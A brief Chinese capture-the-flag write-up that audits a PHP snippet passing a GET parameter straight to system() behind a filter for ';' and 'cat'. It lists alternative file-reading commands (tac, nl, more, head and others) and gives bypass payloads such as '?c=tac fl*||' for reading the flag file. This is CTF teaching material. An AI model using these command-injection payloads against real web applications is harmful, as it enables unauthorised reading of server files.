1. 代码审计

      1. <?php
      2. if(isset($_GET['c'])){
      3. $c=$_GET['c'];
      4. if(!preg_match("/\;|cat/i", $c))
      5. //这里把; cat进行了过滤
      6. {
      7. system($c." >/dev/null 2>&1");
      8. }
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 这里仅仅只过滤了; cat进行了过滤,可以替换成其他文件查看的函数

      more:一页一页的显示档案内容
      less:与 more 类似
      head:查看头几行
      tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
      tail:查看尾几行
      nl:显示的时候,顺便输出行号
      od:以二进制的方式读取档案内容
      vi:一种编辑器,这个也可以查看
      vim:一种编辑器,这个也可以查看
      sort:可以查看
      uniq:可以查看
      file -f:报错出具体内容
      grep
      strings
      
      ?c=tac fl*||
      ?c=nl fl*||